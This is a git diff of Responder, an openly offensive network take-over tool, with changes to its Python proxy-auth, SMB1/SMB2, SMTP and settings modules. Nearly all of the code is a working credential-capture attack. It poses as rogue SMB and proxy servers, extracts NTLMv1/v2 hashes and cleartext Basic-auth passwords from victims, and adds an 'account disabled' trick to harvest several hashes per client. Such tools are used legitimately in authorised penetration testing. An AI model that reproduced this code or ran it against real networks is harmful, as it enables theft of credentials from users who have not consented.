NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
|
||||
Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)
|
||||
if NTLM_Auth:
|
||||
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
|
||||
if Packet_NTLM == "\x01":
|
||||
if settings.Config.Verbose:
|
||||
print text("[Proxy-Auth] Sending NTLM authentication request to %s" % client)
|
||||
|
||||
Buffer = NTLM_Challenge(ServerChallenge=settings.Config.Challenge)
|
||||
Buffer.calculate()
|
||||
Buffer_Ans = WPAD_NTLM_Challenge_Ans()
|
||||
Buffer_Ans.calculate(str(Buffer))
|
||||
return str(Buffer_Ans)
|
||||
if Packet_NTLM == "\x03":
|
||||
NTLM_Auth = b64decode(''.join(NTLM_Auth))
|
||||
ParseHTTPHash(NTLM_Auth, client, "Proxy-Auth")
|
||||
GrabUserAgent(data)
|
||||
GrabCookie(data)
|
||||
GrabHost(data)
|
||||
return False #Send a RST with SO_LINGER when close() is called (see Responder.py)
|
||||
else:
|
||||
return False
|
||||
|
||||
elif Basic_Auth:
|
||||
GrabUserAgent(data)
|
||||
GrabCookie(data)
|
||||
GrabHost(data)
|
||||
ClearText_Auth = b64decode(''.join(Basic_Auth))
|
||||
SaveToDb({
|
||||
'module': 'Proxy-Auth',
|
||||
'type': 'Basic',
|
||||
'client': client,
|
||||
'user': ClearText_Auth.split(':')[0],
|
||||
'cleartext': ClearText_Auth.split(':')[1],
|
||||
})
|
||||
|
||||
return False
|
||||
else:
|
||||
if settings.Config.Basic:
|
||||
Response = WPAD_Basic_407_Ans()
|
||||
if settings.Config.Verbose:
|
||||
print text("[Proxy-Auth] Sending BASIC authentication request to %s" % client)
|
||||
|
||||
else:
|
||||
Response = WPAD_Auth_407_Ans()
|
||||
|
||||
return str(Response)
|
||||
|
||||
class Proxy_Auth(SocketServer.BaseRequestHandler):
|
||||
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
for x in range(2):
|
||||
data = self.request.recv(4096)
|
||||
self.request.send(PacketSequence(data, self.client_address[0]))
|
||||
|
||||
except:
|
||||
pass
|
||||
|
||||
|
||||
276
servers/SMB.py
276
servers/SMB.py
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
@@ -14,84 +14,51 @@
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import struct
|
||||
import settings
|
||||
|
||||
from random import randrange
|
||||
from packets import SMBHeader, SMBNegoAnsLM, SMBNegoAns, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData
|
||||
from packets import SMBHeader, SMBNegoAnsLM, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData, SMB2Header, SMB2NegoAns, SMB2Session1Data, SMB2Session2Data
|
||||
from SocketServer import BaseRequestHandler
|
||||
from utils import *
|
||||
import struct
|
||||
import re
|
||||
|
||||
# Detect if SMB auth was Anonymous
|
||||
def Is_Anonymous(data):
|
||||
|
||||
def Is_Anonymous(data): # Detect if SMB auth was Anonymous
|
||||
SecBlobLen = struct.unpack('<H',data[51:53])[0]
|
||||
|
||||
if SecBlobLen < 260:
|
||||
LMhashLen = struct.unpack('<H',data[89:91])[0]
|
||||
return True if LMhashLen == 0 or LMhashLen == 1 else False
|
||||
|
||||
if SecBlobLen > 260:
|
||||
return LMhashLen in [0, 1]
|
||||
elif SecBlobLen > 260:
|
||||
LMhashLen = struct.unpack('<H',data[93:95])[0]
|
||||
return True if LMhashLen == 0 or LMhashLen == 1 else False
|
||||
return LMhashLen in [0, 1]
|
||||
|
||||
def Is_LMNT_Anonymous(data):
|
||||
LMhashLen = struct.unpack('<H',data[51:53])[0]
|
||||
return True if LMhashLen == 0 or LMhashLen == 1 else False
|
||||
return LMhashLen in [0, 1]
|
||||
|
||||
#Function used to know which dialect number to return for NT LM 0.12
|
||||
def Parse_Nego_Dialect(data):
|
||||
Dialect = tuple([e.replace('\x00','') for e in data[40:].split('\x02')[:10]])
|
||||
for i in range(0, 16):
|
||||
if Dialect[i] == 'NT LM 0.12':
|
||||
return chr(i) + '\x00'
|
||||
|
||||
if Dialect[0] == "NT LM 0.12":
|
||||
return "\x00\x00"
|
||||
if Dialect[1] == "NT LM 0.12":
|
||||
return "\x01\x00"
|
||||
if Dialect[2] == "NT LM 0.12":
|
||||
return "\x02\x00"
|
||||
if Dialect[3] == "NT LM 0.12":
|
||||
return "\x03\x00"
|
||||
if Dialect[4] == "NT LM 0.12":
|
||||
return "\x04\x00"
|
||||
if Dialect[5] == "NT LM 0.12":
|
||||
return "\x05\x00"
|
||||
if Dialect[6] == "NT LM 0.12":
|
||||
return "\x06\x00"
|
||||
if Dialect[7] == "NT LM 0.12":
|
||||
return "\x07\x00"
|
||||
if Dialect[8] == "NT LM 0.12":
|
||||
return "\x08\x00"
|
||||
if Dialect[9] == "NT LM 0.12":
|
||||
return "\x09\x00"
|
||||
if Dialect[10] == "NT LM 0.12":
|
||||
return "\x0a\x00"
|
||||
if Dialect[11] == "NT LM 0.12":
|
||||
return "\x0b\x00"
|
||||
if Dialect[12] == "NT LM 0.12":
|
||||
return "\x0c\x00"
|
||||
if Dialect[13] == "NT LM 0.12":
|
||||
return "\x0d\x00"
|
||||
if Dialect[14] == "NT LM 0.12":
|
||||
return "\x0e\x00"
|
||||
if Dialect[15] == "NT LM 0.12":
|
||||
return "\x0f\x00"
|
||||
|
||||
#Set MID SMB Header field.
|
||||
def midcalc(data):
|
||||
pack=data[34:36]
|
||||
return pack
|
||||
def midcalc(data): #Set MID SMB Header field.
|
||||
return data[34:36]
|
||||
|
||||
#Set UID SMB Header field.
|
||||
def uidcalc(data):
|
||||
pack=data[32:34]
|
||||
return pack
|
||||
|
||||
#Set PID SMB Header field.
|
||||
def pidcalc(data):
|
||||
|
||||
def uidcalc(data): #Set UID SMB Header field.
|
||||
return data[32:34]
|
||||
|
||||
|
||||
def pidcalc(data): #Set PID SMB Header field.
|
||||
pack=data[30:32]
|
||||
return pack
|
||||
|
||||
#Set TID SMB Header field.
|
||||
def tidcalc(data):
|
||||
|
||||
def tidcalc(data): #Set TID SMB Header field.
|
||||
pack=data[28:30]
|
||||
return pack
|
||||
|
||||
@@ -99,10 +66,29 @@ def ParseShare(data):
|
||||
packet = data[:]
|
||||
a = re.search('(\\x5c\\x00\\x5c.*.\\x00\\x00\\x00)', packet)
|
||||
if a:
|
||||
print text("[SMB] Requested Share : %s" % a.group(0).replace('\x00', ''))
|
||||
print text("[SMB] Requested Share : %s" % a.group(0).decode('UTF-16LE'))
|
||||
|
||||
#Parse SMB NTLMSSP v1/v2
|
||||
def ParseSMBHash(data,client):
|
||||
def GrabMessageID(data):
|
||||
Messageid = data[28:36]
|
||||
return Messageid
|
||||
|
||||
def GrabCreditRequested(data):
|
||||
CreditsRequested = data[18:20]
|
||||
if CreditsRequested == "\x00\x00":
|
||||
CreditsRequested = "\x01\x00"
|
||||
else:
|
||||
CreditsRequested = data[18:20]
|
||||
return CreditsRequested
|
||||
|
||||
def GrabCreditCharged(data):
|
||||
CreditCharged = data[10:12]
|
||||
return CreditCharged
|
||||
|
||||
def GrabSessionID(data):
|
||||
SessionID = data[44:52]
|
||||
return SessionID
|
||||
|
||||
def ParseSMBHash(data,client): #Parse SMB NTLMSSP v1/v2
|
||||
SecBlobLen = struct.unpack('<H',data[51:53])[0]
|
||||
BccLen = struct.unpack('<H',data[61:63])[0]
|
||||
|
||||
@@ -113,7 +99,6 @@ def ParseSMBHash(data,client):
|
||||
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||
NthashLen = struct.unpack('<H',data[97:99])[0]
|
||||
NthashOffset = struct.unpack('<H',data[99:101])[0]
|
||||
|
||||
else:
|
||||
SSPIStart = data[79:]
|
||||
LMhashLen = struct.unpack('<H',data[93:95])[0]
|
||||
@@ -126,10 +111,10 @@ def ParseSMBHash(data,client):
|
||||
SMBHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
DomainLen = struct.unpack('<H',data[105:107])[0]
|
||||
DomainOffset = struct.unpack('<H',data[107:109])[0]
|
||||
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
|
||||
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
|
||||
UserLen = struct.unpack('<H',data[113:115])[0]
|
||||
UserOffset = struct.unpack('<H',data[115:117])[0]
|
||||
Username = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
Username = SSPIStart[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, settings.Config.NumChal)
|
||||
|
||||
SaveToDb({
|
||||
@@ -145,10 +130,10 @@ def ParseSMBHash(data,client):
|
||||
SMBHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
DomainLen = struct.unpack('<H',data[109:111])[0]
|
||||
DomainOffset = struct.unpack('<H',data[111:113])[0]
|
||||
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
|
||||
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
|
||||
UserLen = struct.unpack('<H',data[117:119])[0]
|
||||
UserOffset = struct.unpack('<H',data[119:121])[0]
|
||||
Username = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
Username = SSPIStart[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, SMBHash[:32], SMBHash[32:])
|
||||
|
||||
SaveToDb({
|
||||
@@ -160,9 +145,33 @@ def ParseSMBHash(data,client):
|
||||
'fullhash': WriteHash,
|
||||
})
|
||||
|
||||
# Parse SMB NTLMv1/v2
|
||||
def ParseLMNTHash(data, client):
|
||||
|
||||
def ParseSMB2NTLMv2Hash(data,client): #Parse SMB NTLMv2
|
||||
SSPIStart = data[113:]
|
||||
data = data[113:]
|
||||
LMhashLen = struct.unpack('<H',data[12:14])[0]
|
||||
LMhashOffset = struct.unpack('<H',data[16:18])[0]
|
||||
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||
NthashLen = struct.unpack('<H',data[22:24])[0]
|
||||
NthashOffset = struct.unpack('<H',data[24:26])[0]
|
||||
SMBHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
DomainLen = struct.unpack('<H',data[30:32])[0]
|
||||
DomainOffset = struct.unpack('<H',data[32:34])[0]
|
||||
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
|
||||
UserLen = struct.unpack('<H',data[38:40])[0]
|
||||
UserOffset = struct.unpack('<H',data[40:42])[0]
|
||||
Username = SSPIStart[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, SMBHash[:32], SMBHash[32:])
|
||||
SaveToDb({
|
||||
'module': 'SMBv2',
|
||||
'type': 'NTLMv2-SSP',
|
||||
'client': client,
|
||||
'user': Domain+'\\'+Username,
|
||||
'hash': SMBHash,
|
||||
'fullhash': WriteHash,
|
||||
})
|
||||
|
||||
def ParseLMNTHash(data, client): # Parse SMB NTLMv1/v2
|
||||
LMhashLen = struct.unpack('<H',data[51:53])[0]
|
||||
NthashLen = struct.unpack('<H',data[53:55])[0]
|
||||
Bcc = struct.unpack('<H',data[63:65])[0]
|
||||
@@ -209,37 +218,72 @@ def IsNT4ClearTxt(data, client):
|
||||
PassLen = struct.unpack('<H',data[HeadLen+15:HeadLen+17])[0]
|
||||
|
||||
if PassLen > 2:
|
||||
|
||||
Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","")
|
||||
User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","")
|
||||
print text("[SMB] Clear Text Credentials: %s:%s" % (User,Password))
|
||||
WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password)
|
||||
|
||||
# SMB Server class, NTLMSSP
|
||||
class SMB1(BaseRequestHandler):
|
||||
|
||||
class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
|
||||
def handle(self):
|
||||
try:
|
||||
self.ntry = 0
|
||||
while True:
|
||||
data = self.request.recv(1024)
|
||||
self.request.settimeout(1)
|
||||
|
||||
if len(data) < 1:
|
||||
if not data:
|
||||
break
|
||||
|
||||
##session request 139
|
||||
if data[0] == "\x81":
|
||||
if data[0] == "\x81": #session request 139
|
||||
Buffer = "\x82\x00\x00\x00"
|
||||
try:
|
||||
self.request.send(Buffer)
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
except:
|
||||
pass
|
||||
|
||||
# Negociate Protocol Response
|
||||
if data[8:10] == "\x72\x00":
|
||||
# \x72 == Negociate Protocol Response
|
||||
Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data))
|
||||
|
||||
##Negotiate proto answer SMBv2.
|
||||
if data[8:10] == "\x72\x00" and re.search("SMB 2.\?\?\?", data):
|
||||
head = SMB2Header(CreditCharge="\x00\x00",Credits="\x01\x00")
|
||||
t = SMB2NegoAns()
|
||||
t.calculate()
|
||||
packet1 = str(head)+str(t)
|
||||
buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1
|
||||
self.request.send(buffer1)
|
||||
data = self.request.recv(1024)
|
||||
## Session Setup 1 answer SMBv2.
|
||||
if data[16:18] == "\x00\x00" and data[4:5] == "\xfe":
|
||||
head = SMB2Header(MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data))
|
||||
t = SMB2NegoAns(Dialect="\x10\x02")
|
||||
t.calculate()
|
||||
packet1 = str(head)+str(t)
|
||||
buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1
|
||||
self.request.send(buffer1)
|
||||
data = self.request.recv(1024)
|
||||
## Session Setup 2 answer SMBv2.
|
||||
if data[16:18] == "\x01\x00" and data[4:5] == "\xfe":
|
||||
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), SessionID=GrabSessionID(data),NTStatus="\x16\x00\x00\xc0")
|
||||
t = SMB2Session1Data()
|
||||
t.calculate()
|
||||
packet1 = str(head)+str(t)
|
||||
buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1
|
||||
self.request.send(buffer1)
|
||||
data = self.request.recv(1024)
|
||||
## Session Setup 3 answer SMBv2.
|
||||
if data[16:18] == "\x01\x00" and GrabMessageID(data)[0:1] == "\x02" and data[4:5] == "\xfe":
|
||||
ParseSMB2NTLMv2Hash(data, self.client_address[0])
|
||||
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data))
|
||||
t = SMB2Session2Data()
|
||||
packet1 = str(head)+str(t)
|
||||
buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1
|
||||
self.request.send(buffer1)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
# Negotiate Protocol Response smbv1
|
||||
if data[8:10] == "\x72\x00" and data[4:5] == "\xff" and re.search("SMB 2.\?\?\?", data) == None:
|
||||
Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data))
|
||||
Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data))
|
||||
Body.calculate()
|
||||
|
||||
@@ -249,23 +293,25 @@ class SMB1(BaseRequestHandler):
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
# Session Setup AndX Request
|
||||
if data[8:10] == "\x73\x00":
|
||||
if data[8:10] == "\x73\x00" and data[4:5] == "\xff": # Session Setup AndX Request smbv1
|
||||
IsNT4ClearTxt(data, self.client_address[0])
|
||||
|
||||
# STATUS_MORE_PROCESSING_REQUIRED
|
||||
Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data))
|
||||
Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge)
|
||||
if settings.Config.CaptureMultipleCredentials and self.ntry == 0:
|
||||
Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge, NTLMSSPNTLMChallengeAVPairsUnicodeStr="NOMATCH")
|
||||
else:
|
||||
Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge)
|
||||
Body.calculate()
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(4096)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
# STATUS_SUCCESS
|
||||
if data[8:10] == "\x73\x00":
|
||||
|
||||
if data[8:10] == "\x73\x00" and data[4:5] == "\xff": # STATUS_SUCCESS
|
||||
if Is_Anonymous(data):
|
||||
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
|
||||
Body = SMBSessEmpty()
|
||||
@@ -279,6 +325,18 @@ class SMB1(BaseRequestHandler):
|
||||
# Parse NTLMSSP_AUTH packet
|
||||
ParseSMBHash(data,self.client_address[0])
|
||||
|
||||
if settings.Config.CaptureMultipleCredentials and self.ntry == 0:
|
||||
# Send ACCOUNT_DISABLED to get multiple hashes if there are any
|
||||
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
|
||||
Body = SMBSessEmpty()
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
|
||||
self.request.send(Buffer)
|
||||
self.ntry += 1
|
||||
continue
|
||||
|
||||
# Send STATUS_SUCCESS
|
||||
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
Body = SMBSession2Accept()
|
||||
@@ -290,10 +348,9 @@ class SMB1(BaseRequestHandler):
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
# Tree Connect AndX Request
|
||||
if data[8:10] == "\x75\x00":
|
||||
|
||||
if data[8:10] == "\x75\x00" and data[4:5] == "\xff": # Tree Connect AndX Request
|
||||
ParseShare(data)
|
||||
# Tree Connect AndX Response
|
||||
Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data))
|
||||
Body = SMBTreeData()
|
||||
Body.calculate()
|
||||
@@ -304,8 +361,7 @@ class SMB1(BaseRequestHandler):
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
##Tree Disconnect.
|
||||
if data[8:10] == "\x71\x00":
|
||||
if data[8:10] == "\x71\x00" and data[4:5] == "\xff": #Tree Disconnect
|
||||
Header = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
Body = "\x00\x00\x00"
|
||||
|
||||
@@ -314,9 +370,8 @@ class SMB1(BaseRequestHandler):
|
||||
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
##NT_CREATE Access Denied.
|
||||
if data[8:10] == "\xa2\x00":
|
||||
|
||||
if data[8:10] == "\xa2\x00" and data[4:5] == "\xff": #NT_CREATE Access Denied.
|
||||
Header = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
Body = "\x00\x00\x00"
|
||||
|
||||
@@ -325,9 +380,8 @@ class SMB1(BaseRequestHandler):
|
||||
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
##Trans2 Access Denied.
|
||||
if data[8:10] == "\x25\x00":
|
||||
|
||||
if data[8:10] == "\x25\x00" and data[4:5] == "\xff": # Trans2 Access Denied.
|
||||
Header = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
Body = "\x00\x00\x00"
|
||||
|
||||
@@ -337,8 +391,8 @@ class SMB1(BaseRequestHandler):
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
##LogOff.
|
||||
if data[8:10] == "\x74\x00":
|
||||
|
||||
if data[8:10] == "\x74\x00" and data[4:5] == "\xff": # LogOff
|
||||
Header = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
Body = "\x02\xff\x00\x27\x00\x00\x00"
|
||||
|
||||
@@ -348,25 +402,22 @@ class SMB1(BaseRequestHandler):
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
except socket.timeout:
|
||||
except socket.error:
|
||||
pass
|
||||
|
||||
# SMB Server class, old version
|
||||
class SMB1LM(BaseRequestHandler):
|
||||
|
||||
class SMB1LM(BaseRequestHandler): # SMB Server class, old version
|
||||
def handle(self):
|
||||
try:
|
||||
self.request.settimeout(0.5)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
##session request 139
|
||||
if data[0] == "\x81":
|
||||
|
||||
if data[0] == "\x81": #session request 139
|
||||
Buffer = "\x82\x00\x00\x00"
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
##Negotiate proto answer.
|
||||
if data[8:10] == "\x72\x00":
|
||||
|
||||
if data[8:10] == "\x72\x00": #Negotiate proto answer.
|
||||
head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data))
|
||||
Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=settings.Config.Challenge)
|
||||
Body.calculate()
|
||||
@@ -374,23 +425,20 @@ class SMB1LM(BaseRequestHandler):
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
##Session Setup AndX Request
|
||||
if data[8:10] == "\x73\x00":
|
||||
|
||||
if data[8:10] == "\x73\x00": #Session Setup AndX Request
|
||||
if Is_LMNT_Anonymous(data):
|
||||
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
Packet = str(head)+str(SMBSessEmpty())
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
self.request.send(Buffer)
|
||||
|
||||
else:
|
||||
ParseLMNTHash(data,self.client_address[0])
|
||||
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
Packet = str(head)+str(SMBSessEmpty())
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
Packet = str(head) + str(SMBSessEmpty())
|
||||
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
except Exception:
|
||||
self.request.close()
|
||||
pass
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
@@ -14,15 +14,11 @@
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import os
|
||||
import settings
|
||||
|
||||
from utils import *
|
||||
from base64 import b64decode, b64encode
|
||||
from base64 import b64decode
|
||||
from SocketServer import BaseRequestHandler
|
||||
from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2
|
||||
|
||||
# ESMTP Server class
|
||||
class ESMTP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
@@ -63,4 +59,4 @@ class ESMTP(BaseRequestHandler):
|
||||
})
|
||||
|
||||
except Exception:
|
||||
pass
|
||||
pass
|
||||
|
||||
71
settings.py
71
settings.py
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
@@ -14,14 +14,13 @@
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import os
|
||||
import sys
|
||||
import socket
|
||||
import utils
|
||||
import logging
|
||||
import ConfigParser
|
||||
import subprocess
|
||||
|
||||
__version__ = 'Responder 2.2'
|
||||
from utils import *
|
||||
|
||||
__version__ = 'Responder 2.3.2.8'
|
||||
|
||||
class Settings:
|
||||
|
||||
@@ -37,7 +36,7 @@ class Settings:
|
||||
return ret
|
||||
|
||||
def toBool(self, str):
|
||||
return True if str.upper() == 'ON' else False
|
||||
return str.upper() == 'ON'
|
||||
|
||||
def ExpandIPRanges(self):
|
||||
def expand_ranges(lst):
|
||||
@@ -66,7 +65,7 @@ class Settings:
|
||||
|
||||
def populate(self, options):
|
||||
|
||||
if options.Interface is None:
|
||||
if options.Interface is None and utils.IsOsX() is False:
|
||||
print utils.color("Error: -I <if> mandatory option is missing", 1)
|
||||
sys.exit(-1)
|
||||
|
||||
@@ -99,6 +98,7 @@ class Settings:
|
||||
self.SessionLogFile = os.path.join(self.LogDir, config.get('Responder Core', 'SessionLog'))
|
||||
self.PoisonersLogFile = os.path.join(self.LogDir, config.get('Responder Core', 'PoisonersLog'))
|
||||
self.AnalyzeLogFile = os.path.join(self.LogDir, config.get('Responder Core', 'AnalyzeLog'))
|
||||
self.ResponderConfigDump = os.path.join(self.LogDir, config.get('Responder Core', 'ResponderConfigDump'))
|
||||
|
||||
self.FTPLog = os.path.join(self.LogDir, 'FTP-Clear-Text-Password-%s.txt')
|
||||
self.IMAPLog = os.path.join(self.LogDir, 'IMAP-Clear-Text-Password-%s.txt')
|
||||
@@ -146,25 +146,36 @@ class Settings:
|
||||
self.DontRespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')])
|
||||
self.DontRespondToName = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')])
|
||||
|
||||
# CLI options
|
||||
self.LM_On_Off = options.LM_On_Off
|
||||
self.WPAD_On_Off = options.WPAD_On_Off
|
||||
self.Wredirect = options.Wredirect
|
||||
self.NBTNSDomain = options.NBTNSDomain
|
||||
self.Basic = options.Basic
|
||||
self.Finger_On_Off = options.Finger
|
||||
self.Interface = options.Interface
|
||||
self.Force_WPAD_Auth = options.Force_WPAD_Auth
|
||||
self.Upstream_Proxy = options.Upstream_Proxy
|
||||
self.AnalyzeMode = options.Analyze
|
||||
self.Verbose = options.Verbose
|
||||
self.CommandLine = str(sys.argv)
|
||||
# Auto Ignore List
|
||||
self.AutoIgnore = self.toBool(config.get('Responder Core', 'AutoIgnoreAfterSuccess'))
|
||||
self.CaptureMultipleCredentials = self.toBool(config.get('Responder Core', 'CaptureMultipleCredentials'))
|
||||
